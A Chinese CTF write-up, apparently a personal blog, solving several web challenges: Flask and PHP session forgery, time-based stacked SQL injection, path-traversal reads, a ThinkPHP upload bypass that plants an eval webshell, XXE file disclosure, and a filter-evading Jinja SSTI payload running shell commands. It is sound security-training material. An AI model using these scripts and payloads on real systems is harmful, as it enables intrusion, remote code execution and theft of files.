踏上第五大陆的篇章
[CISCN2019 华东南赛区]Web4 考点:
读取源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 encoding:utf-8 import re, random, uuid, urllibfrom flask import Flask, session, requestapp = Flask(__name__) random.seed(uuid.getnode()) app.config['SECRET_KEY' ] = str (random.random()*233 ) app.debug = True @app.route('/' ) def index (): session['username' ] = 'www-data' return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>' @app.route('/read' ) def read (): try : url = request.args.get('url' ) m = re.findall('^file.*' , url, re.IGNORECASE) n = re.findall('flag' , url, re.IGNORECASE) if m or n: return 'No Hack' res = urllib.urlopen(url) return res.read() except Exception as ex: print (str (ex)) return 'no response' @app.route('/flag' ) def flag (): if session and session['username' ] == 'fuck' : return open ('/flag.txt' ).read() else : return 'Access denied' if __name__=='__main__' : app.run( debug=True , host="0.0.0.0" )
主要逻辑和思路很简单,获取session的key,然后伪造session访问flag路由,重点是key的获取
伪随机数
uuid.getnode():其中的getnode是获取主机的mac地址:
读取mac地址:
session伪造 这样就可以获取seed进而获取key:
1 2 3 print (int ("6ae6aa201799" ,16 ))random.seed(117538929252249 ) print (str (random.random()*233 ))
上述代码在py2环境运行,因为可以读取flask对应的py版本为2:python3 flask_session_cookie_manager3.py decode -c "eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.Y_oQ9Q.UZBlMNM8Xc2bAU9w8hF3jCja_Yc" -s "175.81180104"
:python flask_session_cookie_manager3.py encode -s "175.81180104" -t "{'username': b'fuck'}"
换上cookie访问路由(多访问几次生效)
[SWPU2019]Web4 考点:PHP中的PDO,堆叠注入 看到这个JSON和PHP就应该对PDO敏感?其实PHP里连接mysql数据库有多种方法,mysqli,PDO 具体参考:https://xz.aliyun.com/t/3950#toc-1 这里就介绍一下解题思路,在username加单引号出现报错,说明有注入风险,但是测试一波后发现select,if,sleep都没了,那基本是没戏了,所以思路放到堆叠注入,写个脚本跑出来:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 import jsonimport timeimport requestsurl = "http://d4999e04-df98-4881-bf01-2f8a06c2c145.node4.buuoj.cn:81/index.php?r=Login/Login" result = '' i = 0 headers = {'Content-Type' : 'application/json' } def hexgenerator (str ): hexres='0x' for word in str : word=ord (word) hex_word=hex (word)[2 :] hexres+=hex_word return hexres while True : i = i + 1 head = 1 tail = 128 while head < tail: mid = (head + tail) >> 1 payload=f"select if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i} ,1))>{mid} ,sleep(1),0)" payload=f"select if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flag'),{i} ,1))>{mid} ,sleep(1),0)" payload=f"select if(ascii(substr((select group_concat(flag) from flag),{i} ,1))>{mid} ,sleep(1),0)" data = { "username" : f"admin';prepare boogipop from {hexgenerator(payload)} ;execute boogipop -- -" , "password" :"123456" } t1=time.time() r = requests.post(url,data=json.dumps(data),headers=headers) t2=time.time() print (t2-t1) if t2-t1>1 : head = mid + 1 else : tail = mid if head != 1 : result += chr (head) else : break print (result)
然后跑出来一个glzjin_wants_a_girl_friend.zip
文件,拿到了网页的源代码,主要逻辑在这:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 <!DOCTYPE html> <html> <head> <meta charset="utf-8" > <title>about</title> <link rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css" > <script src="https://cdn.staticfile.org/jquery/2.1.1/jquery.min.js" ></script> <script src="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/js/bootstrap.min.js" ></script> <style> .fakeimg { height: 200 px; background: } </style> </head> <body> <div class ="jumbotron text -center " style ="margin -bottom :0"> <h1 >WELCOME TO SWPUCTF2019 </h1 > </div > <nav class ="navbar navbar -inverse "> <div class ="container -fluid "> </div > </nav > <div class ="container "> <div class ="row "> <div class ="col -sm -4"> <h2 >关于我</h2 > <h5 >我的照片:</h5 > <div class ="fakeimg "><?php if (!isset ($img_file )) { $img_file = '/../favicon.ico' ; } $img_dir = dirname (__FILE__ ) . $img_file ; $img_base64 = imgToBase64 ($img_dir ); echo '<img src="' . $img_base64 . '">' ; ?> </div> </div> </div> </div> </body> </html> <?php function imgToBase64 ($img_file ) { $img_base64 = '' ; if (file_exists ($img_file )) { $app_img_file = $img_file ; $img_info = getimagesize ($app_img_file ); $fp = fopen ($app_img_file , "r" ); if ($fp ) { $filesize = filesize ($app_img_file ); $content = fread ($fp , $filesize ); $file_content = chunk_split (base64_encode ($content )); switch ($img_info [2 ]) { case 1 : $img_type = "gif" ; break ; case 2 : $img_type = "jpg" ; break ; case 3 : $img_type = "png" ; break ; } $img_base64 = 'data:image/' . $img_type . ';base64,' . $file_content ; } fclose ($fp ); } return $img_base64 ; } ?>
这里肯定存在一个任意文件读取,只要修改img_file变量的参数,而该变量在Cotroller中可以直接去赋值,那就好说了:?img_file=/../../../../etc/passwd
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 root:x:0:0:root:/root:/bin/ash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin news:x:9:13:news:/usr/lib/news:/sbin/nologin uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin operator:x:11:0:operator:/root:/bin/sh man:x:13:15:man:/usr/man:/sbin/nologin postmaster:x:14:12:postmaster:/var/spool/mail:/sbin/nologin cron:x:16:16:cron:/var/spool/cron:/sbin/nologin ftp:x:21:21::/var/lib/ftp:/sbin/nologin sshd:x:22:22:sshd:/dev/null:/sbin/nologin at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin games:x:35:35:games:/usr/games:/sbin/nologin postgres:x:70:70::/var/lib/postgresql:/bin/sh cyrus:x:85:12::/usr/cyrus:/sbin/nologin vpopmail:x:89:89::/var/vpopmail:/sbin/nologin ntp:x:123:123:NTP:/var/empty:/sbin/nologin smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin guest:x:405:100:guest:/dev/null:/sbin/nologin nobody:x:65534:65534:nobody:/:/sbin/nologin www-data:x:82:82:Linux User,,,:/home/www-data:/bin/false mysql:x:100:101:mysql:/var/lib/mysql:/sbin/nologin nginx:x:101:102:nginx:/var/lib/nginx:/sbin/nologin
?img_file=/../flag.php
:
1 2 3 4 <?php echo "flag is here,but you must try to see it." ;$flag = "flag{69ecf61f-34dc-4de7-8aa1-8aed1c69fc31}" ;?>
[RootersCTF2019]babyWeb https://blog.csdn.net/mochu7777777/article/details/107747352 靶场损坏
[RoarCTF 2019]Simple Upload 考点:TP3文件上传,多文件上传
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php namespace Home \Controller ;use Think \Controller ;class IndexController extends Controller { public function index ( ) { show_source (__FILE__ ); } public function upload ( ) { $uploadFile = $_FILES ['file' ] ; if (strstr (strtolower ($uploadFile ['name' ]), ".php" ) ) { return false ; } $upload = new \Think\Upload (); $upload ->maxSize = 4096 ; $upload ->allowExts = array ('jpg' , 'gif' , 'png' , 'jpeg' ); $upload ->rootPath = './Public/Uploads/' ; $upload ->savePath = '' ; $info = $upload ->upload () ; if (!$info ) { $this ->error ($upload ->getError ()); return ; }else { $url = __ROOT__.substr ($upload ->rootPath,1 ).$info ['file' ]['savepath' ].$info ['file' ]['savename' ] ; echo json_encode (array ("url" =>$url ,"success" =>1 )); } } }
开局给了首页的代码,就2个功能,一个文件上传,这是主要功能点
多文件上传解法 tp3支持多文件上传: 所以我们只需用python写个多文件上传脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import requestsurl="http://e5e42b72-7b4d-40d3-9c12-550d48e26d00.node4.buuoj.cn:81/?s=home/index/upload" file_content=b"<?php eval($_POST['boogipop']);?>" filename="1.<>php" file=[ ('file' ,("1.txt" ,"w3333" ,'image/png' )) ] file2=[ ('file[]' ,("1.php" ,file_content,'image/png' )) ] file3=[ ('file' ,("233.txt" ,"test" ,'image/png' )) ] file4=[ ('file' ,(filename,file_content,'image/png' )) ] r=requests.post(url=url,files=file) print (r.text)r=requests.post(url=url,files=file2) print (r.text)r=requests.post(url=url,files=file3) print (r.text)
由于是数组,返回不了文件路径,因此需要爆破
strip_tag解法 审计tp3关于文件上传的部分可以看到一个很有趣的函数: 对文件名做了一次strip_tags处理,那么我们直接上传1.<>php
即可。。。。
[HFCTF2020]BabyUpload 考点:PHP SESSION伪造 在PHP中session文件的命名规范一般都是,sess_xxxxxxx
,其中xxxx的内容就是PHPSESSID的值,那么看看题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 <?php error_reporting (0 );session_save_path ("/var/babyctf/" );session_start ();require_once "/flag" ;highlight_file (__FILE__ );if ($_SESSION ['username' ] ==='admin' ){ $filename ='/var/babyctf/success.txt' ; if (file_exists ($filename )){ safe_delete ($filename ); die ($flag ); } } else { $_SESSION ['username' ] ='guest' ; } $direction = filter_input (INPUT_POST, 'direction' );$attr = filter_input (INPUT_POST, 'attr' );$dir_path = "/var/babyctf/" .$attr ;if ($attr ==="private" ){ $dir_path .= "/" .$_SESSION ['username' ]; } if ($direction === "upload" ){ try { if (!is_uploaded_file ($_FILES ['up_file' ]['tmp_name' ])){ throw new RuntimeException ('invalid upload' ); } $file_path = $dir_path ."/" .$_FILES ['up_file' ]['name' ]; $file_path .= "_" .hash_file ("sha256" ,$_FILES ['up_file' ]['tmp_name' ]); if (preg_match ('/(\.\.\/|\.\.\\\\)/' , $file_path )){ throw new RuntimeException ('invalid file path' ); } @mkdir ($dir_path , 0700 , TRUE ); if (move_uploaded_file ($_FILES ['up_file' ]['tmp_name' ],$file_path )){ $upload_result = "uploaded" ; }else { throw new RuntimeException ('error while saving' ); } } catch (RuntimeException $e ) { $upload_result = $e ->getMessage (); } } elseif ($direction === "download" ) { try { $filename = basename (filter_input (INPUT_POST, 'filename' )); $file_path = $dir_path ."/" .$filename ; if (preg_match ('/(\.\.\/|\.\.\\\\)/' , $file_path )){ throw new RuntimeException ('invalid file path' ); } if (!file_exists ($file_path )) { throw new RuntimeException ('file not exist' ); } header ('Content-Type: application/force-download' ); header ('Content-Length: ' .filesize ($file_path )); header ('Content-Disposition: attachment; filename="' .substr ($filename , 0 , -65 ).'"' ); if (readfile ($file_path )){ $download_result = "downloaded" ; }else { throw new RuntimeException ('error while saving' ); } } catch (RuntimeException $e ) { $download_result = $e ->getMessage (); } exit ; } ?>
这边一个上传功能,上传文件后会在后面添加一个hashfile的值,我们可以先读取自己的session文件:sess_4dbfe0ce757ff7bbedd8ee52caa3e4a5
POST: direction=download&filename=sess_4dbfe0ce757ff7bbedd8ee52caa3e4a5
usernames:5:"guest";
,我们把他伪造成usernames:5:"admin";
保存在本地,然后用hashfile去计算文件的hash: 所以我们可以上传这个session文件,上传过后的文件名应该是sess_a2527061d62f9711631cf316fb744e48c2fc693955519286dd3b4f3c73227513
:
1 2 3 4 5 6 7 8 9 10 11 import requests url="http://e5693529-d918-48ec-8b3f-aeffe65b24ad.node4.buuoj.cn:81/" data={ "direction" :"upload" } file=[ ('up_file' ,("sess" ,open ("session" ,"r" ).read ())) ] r=requests.post (url=url,files=file,data=data) print (r.text)
这样我们就成功伪造了自己的session,记得把PHPSESSID改为文件的hash值,符合规则 然后就是绕过第二个if,我们要让file_exists绕过,这个函数判断文件或者目录是否存在,然后attr参数又可控,我们直接让attr等于success.txt
就行了,然后随便上传一个文件,触发mkdir函数,即可绕过:
1 2 3 4 5 6 7 8 9 10 11 12 import requestsurl="http://e5693529-d918-48ec-8b3f-aeffe65b24ad.node4.buuoj.cn:81/" data={ "direction" :"upload" , "attr" :"success.txt" } file=[ ('up_file' ,("test" ,"test" )) ] r=requests.post(url=url,files=file,data=data) print (r.text)
[GoogleCTF2019 Quals]Bnv 考点:XML内部实体注入 将内容改为xml后报错,说明存在XML注入,尝试用一般的实体带出:
1 2 3 4 5 <?xml version="1.0" ?> <!DOCTYPE feng [ <!ENTITY file SYSTEM "file:///flag" > ]> <message > &file; </message >
说我们没声明标签,那就声明一下:
1 2 3 4 5 6 <?xml version="1.0" ?> <!DOCTYPE message [ <!ELEMENT message (#PCDATA )> <!ENTITY file SYSTEM "file:///flag" > ]> <message > &file; </message >
这次没报错,说明加载成功,只不过对于flag的内容,他的逻辑没匹配到结果而已 参考下列网址 这是通常的做法,可以用这种报错信息带出来
1 2 3 4 5 6 7 8 9 10 11 <?xml version="1.0" ?> <!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd" > <!ENTITY % ISOamso ' <!ENTITY % file SYSTEM "file:///flag"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///aaaaa/%file;'>"> %eval; %error; ' >%local_dtd; ]>
妙啊
[pasecactf_2019]flask_ssti 考点:SSTI,文件流风险 首先存在ssti,这边直接帖payload
1 {{((lipsum|attr("\x5f\x5fglobals\x5f\x5f"))["\x5f\x5fbuiltins\x5f\x5f"])["eval"]("\x5f\x5fimport\x5f\x5f(\"os\")\x2epopen(\"payload\")\x2eread()")}}
把payload部分换为指令,可以先读取源文件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 import randomfrom flask import Flask, render_template_string, render_template, requestimport osapp = Flask(__name__) app.config['SECRET_KEY' ] = 'folow @osminogka.ann on instagram =)' ''' def encode(line, key, key2): return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line))) app.config['flag'] = encode('', 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT') ''' def encode (line, key, key2 ): return '' .join(chr (x ^ ord (line[x]) ^ ord (key[::-1 ][x]) ^ ord (key2[x])) for x in range (len (line))) file = open ("/app/flag" , "r" ) flag = file.read() flag = flag[:42 ] app.config['flag' ] = encode(flag, 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3' , 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT' ) flag = "" os.remove("/app/flag" ) nicknames = ['˜”*°★☆★_%s_★☆★°°*' , '%s ~♡ⓛⓞⓥⓔ♡~' , '%s Вêчңø в øĤлâйĤé' , '♪ ♪ ♪ %s ♪ ♪ ♪ ' , '[♥♥♥%s♥♥♥]' , '%s, kOтO®Aя )(оТеЛ@ ©4@$tьЯ' , '♔%s♔' , '[♂+♂=♥]%s[♂+♂=♥]' ] @app.route('/' , methods=['GET' , 'POST' ] ) def index (): if request.method == 'POST' : try : p = request.values.get('nickname' ) id = random.randint(0 , len (nicknames) - 1 ) if p != None : if '.' in p or '_' in p or '\'' in p: return 'Your nickname contains restricted characters!' return render_template_string(nicknames[id ] % p) except Exception as e: print (e) return 'Exception' return render_template('index.html' ) if __name__ == '__main__' : app.run(host='0.0.0.0' , port=1337 )
一眼丁真看到没关闭文件里,读取proc目录:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 # dr-xr-xr-x 9 root root 0 Mar 3 11:41 1 # dr-xr-xr-x 9 root root 0 Mar 3 12:22 110 # dr-xr-xr-x 9 root root 0 Mar 3 12:22 112 # dr-xr-xr-x 9 root root 0 Mar 3 12:22 114 # dr-xr-xr-x 9 root root 0 Mar 3 12:22 116 # dr-xr-xr-x 9 root root 0 Mar 3 12:22 118 # dr-xr-xr-x 9 root root 0 Mar 3 12:23 122 # dr-xr-xr-x 9 root root 0 Mar 3 12:24 127 # dr-xr-xr-x 9 root root 0 Mar 3 12:25 140 # dr-xr-xr-x 9 root root 0 Mar 3 12:25 142 # dr-xr-xr-x 9 root root 0 Mar 3 12:25 144 # dr-xr-xr-x 9 root root 0 Mar 3 12:25 150 # dr-xr-xr-x 9 root root 0 Mar 3 12:25 152 # dr-xr-xr-x 9 root root 0 Mar 3 12:25 154 # dr-xr-xr-x 9 root root 0 Mar 3 12:25 158 # dr-xr-xr-x 9 root root 0 Mar 3 12:40 238 # dr-xr-xr-x 9 root root 0 Mar 3 12:41 244 # dr-xr-xr-x 9 root root 0 Mar 3 12:41 246 # dr-xr-xr-x 9 root root 0 Mar 3 12:41 256 # drwxrwxrwt 2 root root 40 Mar 3 11:41 acpi # -r--r--r-- 1 root root 0 Mar 3 12:41 buddyinfo # dr-xr-xr-x 4 root root 0 Mar 3 11:41 bus # -r--r--r-- 1 root root 0 Mar 3 12:41 cgroups # -r--r--r-- 1 root root 0 Mar 3 12:41 cmdline # -r--r--r-- 1 root root 0 Mar 3 12:41 consoles # -r--r--r-- 1 root root 35448 Mar 3 12:41 cpuinfo # -r--r--r-- 1 root root 0 Mar 3 12:41 crypto # -r--r--r-- 1 root root 0 Mar 3 12:41 devices # -r--r--r-- 1 root root 1376 Mar 3 12:41 diskstats # -r--r--r-- 1 root root 0 Mar 3 12:41 dma # dr-xr-xr-x 3 root root 0 Mar 3 12:41 driver # -r--r--r-- 1 root root 0 Mar 3 12:41 execdomains # -r--r--r-- 1 root root 0 Mar 3 12:41 filesystems # dr-xr-xr-x 10 root root 0 Mar 3 11:41 fs # -r--r--r-- 1 root root 0 Mar 3 12:41 interrupts # -r--r--r-- 1 root root 0 Mar 3 12:41 iomem # -r--r--r-- 1 root root 0 Mar 3 12:41 ioports # dr-xr-xr-x 128 root root 0 Mar 3 11:41 irq # -r--r--r-- 1 root root 0 Mar 3 12:41 kallsyms # crw-rw-rw- 1 root root 1, 3 Mar 3 11:41 kcore # -r--r--r-- 1 root root 0 Mar 3 12:41 key-users # crw-rw-rw- 1 root root 1, 3 Mar 3 11:41 keys # -r-------- 1 root root 0 Mar 3 12:41 kmsg # -r-------- 1 root root 0 Mar 3 12:41 kpagecgroup # -r-------- 1 root root 0 Mar 3 12:41 kpagecount # -r-------- 1 root root 0 Mar 3 12:41 kpageflags # -r--r--r-- 1 root root 30 Mar 3 12:41 loadavg # -r--r--r-- 1 root root 0 Mar 3 12:41 locks # -r--r--r-- 1 root root 0 Mar 3 12:41 mdstat # -r--r--r-- 1 root root 1391 Mar 3 12:41 meminfo # -r--r--r-- 1 root root 0 Mar 3 12:41 misc # -r--r--r-- 1 root root 0 Mar 3 12:41 modules # lrwxrwxrwx 1 root root 11 Mar 3 11:44 mounts -> self/mounts # -rw-r--r-- 1 root root 0 Mar 3 12:41 mtrr # lrwxrwxrwx 1 root root 8 Mar 3 12:41 net -> self/net # -r-------- 1 root root 0 Mar 3 12:41 pagetypeinfo # -r--r--r-- 1 root root 0 Mar 3 12:41 partitions # crw-rw-rw- 1 root root 1, 3 Mar 3 11:41 sched_debug # -r--r--r-- 1 root root 0 Mar 3 12:41 schedstat # drwxrwxrwt 2 root root 40 Mar 3 11:41 scsi # lrwxrwxrwx 1 root root 0 Mar 3 11:41 self -> 256 # -r-------- 1 root root 0 Mar 3 12:41 slabinfo # -r--r--r-- 1 root root 0 Mar 3 12:41 softirqs # -r--r--r-- 1 root root 4421 Mar 3 12:41 stat # -r--r--r-- 1 root root 37 Mar 3 12:41 swaps # dr-xr-xr-x 1 root root 0 Mar 3 11:41 sys # --w------- 1 root root 0 Mar 3 11:41 sysrq-trigger # dr-xr-xr-x 5 root root 0 Mar 3 12:41 sysvipc # lrwxrwxrwx 1 root root 0 Mar 3 11:41 thread-self -> 256/task/256 # crw-rw-rw- 1 root root 1, 3 Mar 3 11:41 timer_list # dr-xr-xr-x 6 root root 0 Mar 3 12:41 tty # -r--r--r-- 1 root root 25 Mar 3 12:41 uptime # -r--r--r-- 1 root root 0 Mar 3 12:41 version # -r-------- 1 root root 0 Mar 3 12:41 vmallocinfo # -r--r--r-- 1 root root 0 Mar 3 12:41 vmstat # -r--r--r-- 1 root root 0 Mar 3 12:41 zoneinfo
进入进程1的fd看看:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 # lrwx------ 1 root root 64 Mar 3 11:41 0 -> /dev/null # l-wx------ 1 root root 64 Mar 3 11:41 1 -> pipe:[2712835409] # lr-x------ 1 root root 64 Mar 3 12:42 10 -> pipe:[2714007556] # lrwx------ 1 root root 64 Mar 3 12:42 11 -> socket:[2713963999] # lr-x------ 1 root root 64 Mar 3 12:42 12 -> pipe:[2714007558] # lrwx------ 1 root root 64 Mar 3 12:42 13 -> socket:[2713964005] # lr-x------ 1 root root 64 Mar 3 12:42 14 -> pipe:[2713998550] # lrwx------ 1 root root 64 Mar 3 12:42 15 -> socket:[2714029103] # lr-x------ 1 root root 64 Mar 3 12:42 16 -> pipe:[2714001165] # lrwx------ 1 root root 64 Mar 3 12:42 17 -> socket:[2714070367] # lrwx------ 1 root root 64 Mar 3 12:42 18 -> socket:[2714070195] # lr-x------ 1 root root 64 Mar 3 12:42 19 -> pipe:[2714081757] # l-wx------ 1 root root 64 Mar 3 11:41 2 -> pipe:[2712835410] # lrwx------ 1 root root 64 Mar 3 12:42 20 -> socket:[2714070372] # lr-x------ 1 root root 64 Mar 3 12:42 21 -> pipe:[2714025637] # lr-x------ 1 root root 64 Mar 3 12:42 22 -> pipe:[2714076465] # lrwx------ 1 root root 64 Mar 3 12:42 23 -> socket:[2714070373] # lr-x------ 1 root root 64 Mar 3 12:42 24 -> pipe:[2714079784] # lrwx------ 1 root root 64 Mar 3 12:42 25 -> socket:[2714070556] # lr-x------ 1 root root 64 Mar 3 12:42 26 -> pipe:[2714076890] # lrwx------ 1 root root 64 Mar 3 12:42 27 -> socket:[2714070558] # lr-x------ 1 root root 64 Mar 3 12:42 28 -> pipe:[2714087806] # lrwx------ 1 root root 64 Mar 3 12:42 29 -> socket:[2714070560] # lr-x------ 1 root root 64 Mar 3 11:41 3 -> /app/flag (deleted) # lr-x------ 1 root root 64 Mar 3 12:42 30 -> pipe:[2714087808] # lrwx------ 1 root root 64 Mar 3 12:42 31 -> socket:[2714070885] # lrwx------ 1 root root 64 Mar 3 12:42 32 -> socket:[2714645866] # lr-x------ 1 root root 64 Mar 3 12:42 33 -> pipe:[2714626727] # lr-x------ 1 root root 64 Mar 3 12:42 34 -> pipe:[2714112428] # lrwx------ 1 root root 64 Mar 3 12:42 35 -> socket:[2714655786] # lr-x------ 1 root root 64 Mar 3 12:42 36 -> pipe:[2714626820] # lrwx------ 1 root root 64 Mar 3 12:42 37 -> socket:[2714655787] # lr-x------ 1 root root 64 Mar 3 12:42 38 -> pipe:[2714626822] # lrwx------ 1 root root 64 Mar 3 12:42 39 -> socket:[2714680882] # lrwx------ 1 root root 64 Mar 3 11:41 4 -> socket:[2712787512] # lr-x------ 1 root root 64 Mar 3 12:42 40 -> pipe:[2714673562] # lrwx------ 1 root root 64 Mar 3 11:41 5 -> socket:[2713963957] # lr-x------ 1 root root 64 Mar 3 11:41 6 -> pipe:[2714003456] # lrwx------ 1 root root 64 Mar 3 11:41 7 -> socket:[2713963963] # lr-x------ 1 root root 64 Mar 3 12:42 8 -> pipe:[2714007554] # lrwx------ 1 root root 64 Mar 3 12:42 9 -> socket:[2713963965]
在3号位看到flag,一眼丁真直接读:
[NPUCTF2020]ezlogin 考点:xpath注入 在XXE REMAKE之旅写了
[WMCTF2020]Make PHP Great Again 2.0 1 2 3 4 5 6 <?php highlight_file (__FILE__ );require_once 'flag.php' ;if (isset ($_GET ['file' ])) { require_once $_GET ['file' ]; }
[http://90cc792a-1f1d-4ade-8874-968d5fdb73ae.node4.buuoj.cn:81/?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php](http://90cc792a-1f1d-4ade-8874-968d5fdb73ae.node4.buuoj.cn:81/?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php)
和之前一样,只是解决了session的非预期
[PASECA2019]honey_shop 考点:简单的flask session伪造 key在environ中
[XNUCA2019Qualifier]EasyPHP 考点:条件竞争,htaccess文件利用 不复现了
[DDCTF 2019]homebrew event loop 考点:python代码审计
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 from flask import Flask, session, request, Responsefrom urllib.parse import quote,unquoteapp = Flask(__name__) app.secret_key = '*********************' url_prefix = '/d5afe1f66147e857' def FLAG (): return '*********************' def trigger_event (event ): session['log' ].append(event) if len (session['log' ]) > 5 : session['log' ] = session['log' ][-5 :] if type (event) == type ([]): request.event_queue += event else : request.event_queue.append(event) def get_mid_str (haystack, prefix, postfix=None ): haystack = haystack[haystack.find(prefix)+len (prefix):] if postfix is not None : haystack = haystack[:haystack.find(postfix)] return haystack class RollBackException : pass def execute_event_loop (): valid_event_chars = set ( 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#' ) resp = None while len (request.event_queue) > 0 : event = request.event_queue[0 ] request.event_queue = request.event_queue[1 :] if not event.startswith(('action:' , 'func:' )): continue for c in event: if c not in valid_event_chars: break else : is_action = event[0 ] == 'a' action = get_mid_str(event, ':' , ';' ) args = get_mid_str(event, action+';' ).split('#' ) try : event_handler = eval ( action + ('_handler' if is_action else '_function' )) ret_val = event_handler(args) except RollBackException: if resp is None : resp = '' resp += 'ERROR! All transactions have been cancelled. ' resp += '<a href="./?action:view;index">Go back to index.html</a> ' session['num_items' ] = request.prev_session['num_items' ] session['points' ] = request.prev_session['points' ] break except Exception as e: if resp is None : resp = '' continue if ret_val is not None : if resp is None : resp = ret_val else : resp += ret_val if resp is None or resp == '' : resp = ('404 NOT FOUND' , 404 ) session.modified = True return resp @app.route(url_prefix+'/' ) def entry_point (): querystring = unquote(request.query_string) request.event_queue = [] if querystring == '' or (not querystring.startswith('action:' )) or len (querystring) > 100 : querystring = 'action:index;False#False' if 'num_items' not in session: session['num_items' ] = 0 session['points' ] = 3 session['log' ] = [] request.prev_session = dict (session) trigger_event(querystring) return execute_event_loop() def view_handler (args ): page = args[0 ] html = '' html += '[INFO] you have {} diamonds, {} points now. ' .format ( session['num_items' ], session['points' ]) if page == 'index' : html += '<a href="./?action:index;True%23False">View source code</a> ' html += '<a href="./?action:view;shop">Go to e-shop</a> ' html += '<a href="./?action:view;reset">Reset</a> ' elif page == 'shop' : html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a> ' elif page == 'reset' : del session['num_items' ] html += 'Session reset. ' html += '<a href="./?action:view;index">Go back to index.html</a> ' return html def index_handler (args ): bool_show_source = str (args[0 ]) bool_download_source = str (args[1 ]) if bool_show_source == 'True' : source = open ('eventLoop.py' , 'r' ) html = '' if bool_download_source != 'True' : html += '<a href="./?action:index;True%23True">Download this .py file</a> ' html += '<a href="./?action:view;index">Go back to index.html</a> ' for line in source: if bool_download_source != 'True' : html += line.replace('&' , '&' ).replace('\t' , ' ' *4 ).replace( ' ' , ' ' ).replace('<' , '<' ).replace('>' , '>' ).replace('\n' , ' ' ) else : html += line 